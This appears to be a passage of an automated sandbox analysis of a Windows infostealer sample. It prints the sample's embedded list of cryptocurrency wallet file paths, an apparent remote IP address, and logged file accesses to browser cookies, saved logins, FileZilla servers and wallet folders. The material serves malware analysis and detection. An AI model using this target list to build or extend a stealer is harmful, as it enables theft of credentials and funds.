Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco_
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco_
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco_
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81\user\AppData\Roaming\Binance\.finger-print.fp$
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 81.77rs\user\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 77.91.77.81ineer\AppData\Roaming\\MultiDoge\\multidoge.wallet`
Source: EZrw1nNIpG.exe, 00000000.00000002.2389921177.000000000164D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\info.seco_
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: EZrw1nNIpG.exe, 00000000.00000002.2385661873.000000000095A000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\EZrw1nNIpG.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
